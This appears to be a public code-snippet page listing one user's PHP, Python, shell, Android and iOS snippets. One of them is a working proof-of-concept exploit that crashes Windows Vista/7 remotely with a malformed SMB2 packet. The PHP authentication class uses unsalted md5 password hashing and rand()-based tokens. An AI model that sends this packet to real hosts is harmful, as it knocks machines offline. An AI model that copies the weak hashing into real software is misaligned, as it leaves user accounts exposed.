Sign up to create your own snipts, or login.

Public snipts » hongster's snipts The latest snipts from hongster.

showing 1-20 of 23 snipts
  • Determine the earliest business day, taking business hour into consideration.
    <?php
    function next_business_date() {
    	$min = time();
    	
    	// Past cut-off time, make it the next day.
    	if (date('H', $min) >= '17')
    	{
    		$min += 86400; // +24 Hours
    	}
    	
    	// If it falls on weekend, make it Monday.
    	$day_of_week = date('N', $min);
    	if ($day_of_week == '6')
    	{
    		$min += 172800;
    	}
    	elseif ($day_of_week == '7')
    	{
    		$min += 86400;
    	}
    	
    	return strtotime(date('Y-m-d', $min));
    }
    ?>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Mar 07, 2010 at 11:52 a.m. EST
  • Log errors in diffent folders/files reflecting the application folder structure.
    <?php
    /**
     * Log PHP's error into separate files. Recommended for use in production site.
     * Should be used in set_error_handler() to handle certain PHP errors (i.e. E_STRICT).
     * @link http://www.php.net/manual/en/function.set-error-handler.php Reference
     */
    function errorHandler($errno, $errstr, $errfile=NULL, $errline=NULL, $errcontext=NULL) {
      // Log uncategorized errors
      if (is_null($errfile)) {
        $errfile = 'errors.log';
      }
    
      // Reconstruct the path
      // define('APP_DIR', '/my/application/')
      // define('LOG_DIR', '/log_dir/')
      // E.g. /my/application/controller/index.php -> /log_dir/controller/index.php
      $pos = strpos($errfile, APP_DIR);
      if ($pos !== FALSE) {
        // Strip off the application directory and attach log directory
        $errfile = LOG_DIR.substr($errfile, $pos + strlen(CMS_ROOT));
      }
      else {
        $errfile = LOG_DIR.$errfile; // E.g. /log_dir/errors.log
      }
      $dir = dirname($errfile);
      // Create dir if necessary
      if (! file_exists($dir)) {
        mkdir($dir, 0775, TRUE);
      }
      
      $logFile = fopen($errfile, 'a');
      fwrite($logFile, date('Y-m-d H:i:s ').$errstr);
      if ($errline) fwrite($logFile, " on line $errline");
      fwrite($logFile, "\n");
      fclose($logFile);
      
      if (PRODUCTION_SITE) // Prevent err msg from being printed out (log errors silently)
        return TRUE;
    
      return FALSE;
    }
    ?>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Jan 21, 2010 at 2:46 a.m. EST
  • Android ColorMatrixColorFilter usage example.
    ImageView imageView = (ImageView)findViewById(R.id.imageView);
    float[] matrix = new float[] {
    	0, 0, 0, 0, 0,
    	0, 1, 0, 0, 0,
    	0, 0, 1, 0, 0,
    	0, 0, 0, 1, 0,
    };
    imageView.setColorFilter(new ColorMatrixColorFilter(matrix));
    imageView.invalidate();
    

    copy | embed

    0 comments - tagged in  posted by hongster on Nov 29, 2009 at 7:09 a.m. EST
  • Speak volume info for Thinkpad laptop.
    hongster@hongster:~$ cat /proc/acpi/ibm/volume 
    level:		6
    mute:		off
    commands:	up, down, mute
    commands:	level <level> (<level> is 0-15)
    

    copy | embed

    0 comments - tagged in  posted by hongster on Nov 26, 2009 at 4:59 a.m. EST
  • Openbox shortcut key binding ThinkVantage button to launch Terminator terminal.
    <keybind key="XF86Launch1">
      <action name="Execute">
        <startupnotify>
          <enabled>true</enabled>
          <name>Terminal</name>
        </startupnotify>
        <command>terminator</command>
      </action>
    </keybind>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Nov 26, 2009 at 4:50 a.m. EST
  • Read volume level with Python on Thinkpad T60.
    #!/usr/bin/env python
    
    import commands, re
    
    path = '/proc/acpi/ibm/volume'
    data = commands.getoutput('cat %s' % path)
    
    mute = re.search(r'mute:\s+(\w+)', data).group(1)
    if mute == 'on':
    	print 'mute'
    else:
    	print '%s/14' % re.search(r'level:\s+(\d+)', data).group(1)
    

    copy | embed

    0 comments - tagged in  posted by hongster on Nov 26, 2009 at 3:53 a.m. EST
  • Search file by content (improved)
    grep -r 'public static void main(' .
    
    #will do the same thing. In fact, you can also use
    
    grep -rI 'public static void main(' .
    
    #for searching only text files. And if you only want to list the files without the matching content, use
    
    grep -rI –files-without-matches 'public static void main(' .
    

    copy | embed

    0 comments - tagged in  posted by hongster on Nov 12, 2009 at 9:34 p.m. EST
  • Search file by content.
    find . -type f | xargs grep 'public static void main('
    

    copy | embed

    0 comments - tagged in  posted by hongster on Nov 11, 2009 at 5:49 a.m. EST
  • Extracting toll fares from http://www.plus.com.my/miniquery/index.asp.
    #!/usr/bin/env python
    
    import urllib, httplib, re, sys
    from time import strftime
    
    # Sorted list
    tolls = [
    'AHT', 'AKH', 'ASS', 'ASU',
    'BBR', 'BDR', 'BGS', 'BKB',
    'BKH', 'BKM', 'BKR', 'BRG',
    'BRT', 'BSP', 'BTR', 'BTS',
    'BTT', 'BTU', 'CKJ', 'DMR',
    'EBS', 'EBU', 'GCE', 'GPG',
    'GRN', 'HKG', 'HSB', 'IPS',
    'JBC', 'JLD', 'JLP', 'JRU',
    'JSN', 'JTR', 'JWI', 'KBS',
    'KDR', 'KJG', 'KKS', 'KLA',
    'KLI', 'KPS', 'LBB', 'LKT',
    'LMK', 'LNS', 'MAC', 'MBU',
    'NLI', 'PDG', 'PDO', 'PGH',
    'PHT', 'PLG', 'PLI', 'PPM',
    'PSR', 'PTJ', 'RAW', 'SAT',
    'SBG', 'SBI', 'SBN', 'SDK',
    'SEA', 'SGB', 'SGD', 'SGR',
    'SHA', 'SKD', 'SKI', 'SNU',
    'SPP', 'SPR', 'SPS', 'SPU',
    'STA', 'SWG', 'TGK', 'TGM',
    'TJK', 'TPH', 'TPU', 'UPM',
    'USJ', 'YPS', 'YPU',
    ]
    
    # Retrieve session ID
    def getCookie():
    	http = httplib.HTTPConnection('www.plus.com.my', 80)
    	http.request('GET', '/index.asp')
    	response = http.getresponse()
    	cookie = response.getheader('set-cookie').split(';')[0]
    	http.close()
    	return cookie
    
    # Get HTML output
    def getData(start, end, vclass, cookie):
    	headers = {
    		'Content-type': 'application/x-www-form-urlencoded',
    		'Cookie' : cookie,
    	}
    	
    	http = httplib.HTTPConnection('www.plus.com.my', 80)
    	body = urllib.urlencode({'startloc' : start, 'endloc' : end, 'vclass' : vclass})
    	http.request('POST', '/miniquery/fare_details.asp', body, headers)
    	response = http.getresponse()
    	if response.status == 200:
    		data = response.read()
    		http.close()
    		return data
    
    	http.close()
    	return False
    
    def process(start, end, f, log):
    	try:	
    		record = [tolls[start], tolls[end]]
    		# Class 1
    		data = getData(tolls[start], tolls[end], 1, cookie)
    	
    		# Err check
    		if data is False:
    			log.write('%s HTTP error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
    			log.flush()
    			return
    	
    		record.append(normal.findall(data)[0])
    		record.append(offpeak.findall(data)[0])
    		record.append(festive.findall(data)[0])
    	
    		# Class 2 ~ 5
    		for vclass in xrange(2, 6):
    			data = getData(tolls[start], tolls[end], vclass, cookie)
    			if data == False:
    				log.write('%s HTTP error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
    				break
    		
    			record.append(normal.findall(data)[0])			
    	
    		record.append(distance.findall(data)[0])
    		record = '"' + ('","').join(record) + '"'
    		f.write(record + '\n')
    		f.flush()
    	except Exception: 
    		log.write('%s Unknown error (%s, %s)\n' % (strftime('%Y-%m-%d %I:%M:%S'), tolls[start], tolls[end]))
    		log.flush()
    		return # Make sure extraction continues
    
    # Regrex for grabbing data
    normal = re.compile(r'Normal Rates<br></font>\s*RM (\d+\.\d+)')
    offpeak = re.compile(r'Off Peak Rates:<br></font> RM (\d+\.\d+)')
    festive = re.compile(r'Off Peak Festive Rates:<br></font>RM (\d+\.\d+)')
    distance = re.compile(r'Total Distance:<br></font>\s*(\d+(?:\.\d+)?) km')
    
    f = open('data.csv', 'w')
    log = open('log.txt', 'w')
    
    cookie = getCookie() # Use this session ID for all request
    count = 0 # Count num of request made
    for start in xrange(0, len(tolls) - 1):
    	for end in xrange(start + 1, len(tolls)):
    		count += 1
    		print 'Processing %s/7656(%s, %s)' % (count, tolls[start], tolls[end])
    		sys.stdout.flush()
    		process(start, end, f, log)
            
    		# Swap start and end points
    		count += 1
    		print 'Processing %s/7656(%s, %s)' % (count, tolls[end], tolls[start])
    		sys.stdout.flush()
    		process(end, start, f, log)
    log.close()
    f.close()
    

    copy | embed

    0 comments - tagged in  posted by hongster on Oct 12, 2009 at 1:19 a.m. EDT
  • Dynamically change URL query string.
    <?php
    function modifyQuery($url, $query) {
    	// Convert query string to array
    	if (! is_array($query)) {
    		parse_str($query, $query);
    	}
    	
    	// Extract the components in a url string
    	$components = parse_url($url);
    	
    	if (! isset($components['query'])) {
    		$components['query'] = '';
    	}
    	parse_str($components['query'], $components['query']);
    	
    	// Combine the queries
    	$components['query'] = array_merge($components['query'], $query);
    	
    	// Put the components together
    	$url = isset($components['host']) 
    		? "{$components['scheme']}://{$components['host']}"
    		: '/';
    	$url .= isset($components['path']) ? $components['path'] : '/';
    	$url .= empty($components['query']) ? '' : '?'.http_build_query($components['query']);
    	$url .= isset($components['fragment']) ? "#{$components['fragment']}" : '';
    	
    	return $url;
    }
    ?>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Sep 28, 2009 at 10:56 p.m. EDT
  • Proof of concept of remote BSOD on Window Vista/7.
    #!/usr/bin/python
    # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
    # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
    # Src: http://seclists.org/fulldisclosure/2009/Sep/0039.html
    
    from socket import socket
    
    host = ("IP_ADDRESS_HERE", 445)
    buff = (
    "\x00\x00\x00\x90" # Begin SMB header: Session message
    "\xff\x53\x4d\x42" # Server Component: SMB
    "\x72\x00\x00\x00" # Negociate Protocol
    "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
    "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
    "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
    "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
    "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
    "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
    "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
    "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
    "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
    "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
    "\x30\x30\x32\x00"
    )
    
    s = socket()
    s.connect(host)
    s.send(buff)
    s.close()
    

    copy | embed

    0 comments - tagged in  posted by hongster on Sep 14, 2009 at 4:18 a.m. EDT
  • Correct permission and owenership recursively.
    #!/bin/bash
    
    find $1 -exec chown ahhong:www-data {} \;
    find $1 -type d -exec chmod 775 {} \;
    find $1 -type f -exec chmod 664 {} \;
    

    copy | embed

    1 comment - tagged in  posted by hongster on Aug 06, 2009 at 12:50 p.m. EDT
  • User authentication class.
    <?php defined('SYSPATH') or die('No direct script access.');
    
    class Auth_Core {
    	const REMEMBER_PERIOD = 1209600; // 2 weeks
    	
    	/*
    		If session is set, check last_login. If last_login is > 5 min ago,
    		update the database+cookie.
    		If no session, and has remember_code(from cookie), verify
    		remember_code. If remember_code is valid, login the user. If 
    		remember_code is invalid, preform logout.
    	*/
    	public static function auto_login() {
    		$session = Session::instance();
    	
    		$id = $session->get('id');
    		$remember_code = cookie::get('remember_code', FALSE);
    		if ($id) { // Has logged in
    			// Update DB every 5 or more minutes
    			if ((time() - $session->get('last_login', 0)) > 300) {
    				$user = ORM::factory('user', $id);
    				if ($user->loaded) {
    					self::force_login($user, $remember_code != FALSE);
    				}
    			}
    			
    			return; // Impt
    		}
    		
    		// Session expired, but cookie remind us to continue login status
    		if ($remember_code) {
    			$user = ORM::factory('user')
    				->where('remember_code', $remember_code)
    				->find();
    			if ($user->loaded) { // Valid code
    				// Is remember period expired?
    				if ((time() - strtotime($user->last_login)) 
    						< self::REMEMBER_PERIOD) {
    					self::force_login($user, TRUE);
    					return; // Impt
    				}
    			}
    			
    			// Invalid code or REMEMBER_PERIOD has passed
    			self::logout();
    		}
    	}
    	
    	/*
    		Determine if user is logged in.
    		@return boolean
    	*/
    	public static function is_login() {
    		$is_login = Session::instance()->get('id', FALSE);
    		return ($is_login != FALSE);
    	}
    	
    	/*
    		Force login without authentication.
    		@param User_Model $user
    		@param boolean $remember Keep login status for 2 week. Default FALSE.
    	*/
    	private static function force_login($user, $remember=FALSE) {
    		$last_login = time();
    		
    		$session = Session::instance();
    		$session->set('id', $user->id);
    		$session->set('last_login',time());
    		
    		$user->last_login = date('Y-m-d H:i:s', $last_login);
    		
    		if ($remember) {
    			// Gen remember_code
    			$user->remember_code = self::_rand_code();
    			// Set cookie
    			cookie::set(
    				'remember_code', 
    				$user->remember_code, 
    				self::REMEMBER_PERIOD);
    		}
    		else {
    			$user->remember_code = '';
    			cookie::delete('remember_code');
    		}
    		
    		$user->save();
    	}
    	
    	/*
    		Login and create session.
    		@param string $username
    		@param string $password
    		@param boolean $remember Keep login status for 2 week. Default FALSE.
    		@return boolean True, if login successful. False, otherwise.
    	*/
    	public static function login($username, $password, $remember=FALSE) {
    		$user = ORM::factory('user')
    			->where(array('username'=>$username, 'password'=>md5($password)))
    			->find();
    			
    		if ($user->loaded) {
    			self::force_login($user, $remember);
    			return TRUE;
    		}
    		
    		return FALSE;
    	}
    	
    	/*
    		Logout and destroy session.
    	*/
    	public static function logout() {
    		$session = Session::instance();
    						
    		$id = $session->get('id');
    		if ($id) {
    			$user = ORM::factory('user', $id);
    			var_dump($user);
    			if ($user->loaded) {
    				$user->last_login = date('Y-m-d H:i:s', time());
    				$user->remember_code = '';
    				$user->save();
    			}
    		}
    		
    		$session->destroy();
    		cookie::delete('remember_code');
    	}
    	
    	/*
    		Generate random alphanumeric code. [a-zA-Z0-9]
    		@param $length Length of code. Default 16.
    		@return string Random alphanumeric code.
    	*/
    	private static function _rand_code($length=16) {
    
    		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
    
    		$code = '';
    
    		for (;$length>0;$length--) {
    
    			$code .= $chars[rand(0, 62)];
    
    		}
    
    		
    
    		return $code;
    
    	}
    }
    
    ?>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Aug 02, 2009 at 2:39 a.m. EDT
  • Calculate age.
    <?php
    function age($dob) {
    	$age = date('Y') - date('Y', $dob);
    	if(date('md') - date('md', $dob) < 0) {
    		return --$age;
    	}
    
    	return $age;
    }
    ?>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Jul 26, 2009 at 10:19 p.m. EDT
  • Underscore to camelcase.
    <?php
    function underscore2Camelcase($str) {
      // Split string in words.
      $words = explode('_', strtolower($str));
    
      $return = '';
      foreach ($words as $word) {
        $return .= ucfirst(trim($word));
      }
    
      return $return;
    }
    ?>
    

    copy | embed

    2 comments - tagged in  posted by hongster on Jul 26, 2009 at 10:17 p.m. EDT
  • Singapore NIRC checksum.
    def sgChecksum(uin):
        uin = uin.upper()
        if not re.match('^[FGST]\d{7}[A-Z]$', uin):
    	return False
    
        weight = [2, 7, 6, 5, 4, 3, 2]
        st = ['J', 'Z', 'I', 'H', 'G', 'F', 'E', 'D', 'C', 'B', 'A']
        fg = ['X', 'W', 'U', 'T', 'R', 'Q', 'P', 'N', 'M', 'L', 'K']
    
        sum = 0
        for i in xrange(7):
    	sum += weight[i] * int(uin[i+1])
    
        if uin[0]=='F':
    	sum %= 11
    	if not uin[8]==fg[sum]:
    	    return False
        elif uin[0]=='G':
    	sum = (sum + 4) % 11
    	if not uin[8]==fg[sum]:
    	    return False
        elif uin[0]=='S':
    	sum %= 11
    	if not uin[8]==st[sum]:
    	    return False
        elif uin[0]=='T':
    	sum = (sum + 4) % 11
    	if not uin[8]==st[sum]:
    	    return False
    
        return True
    

    copy | embed

    0 comments - tagged in  posted by hongster on Jul 26, 2009 at 10:15 p.m. EDT
  • Convert input to MySQL datetime.
    <?php
    date('Y-m-d H:i:s', strtotime($_POST['birthday']));
    ?>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Jul 26, 2009 at 10:10 p.m. EDT
  • Union of multiple arrays.
    <?php
    $union = array_unique(array_merge($arr1, $arr2, $arr3));
    ?>
    

    copy | embed

    0 comments - tagged in  posted by hongster on Jul 26, 2009 at 10:07 p.m. EDT
  • Invoke inspectView.
    - (void)viewDidAppear:(BOOL)animated {
    	[super viewDidAppear:animated];
    	[self inspectView:self.viewControllers level:@""];
    }
    

    copy | embed

    0 comments - tagged in  posted by hongster on Jul 25, 2009 at 1:13 p.m. EDT
  • Inspect view hierarchy.
    -(void)inspectView:(UIView *)aView level:(NSString *)level {
    	NSLog(@"Level:%@", level);
    	NSLog(@"View:%@", aView);
    
    	NSArray *arr = [aView subviews];
    	for (int i=0;i<[arr count];i++) {
    		[self inspectView:[arr objectAtIndex:i]
    		  level:[NSString stringWithFormat:@"%@/%d", level, i]];
    	}
    }
    

    copy | embed

    0 comments - tagged in  posted by hongster on Jul 25, 2009 at 1:06 p.m. EDT
Sign up to create your own snipts, or login.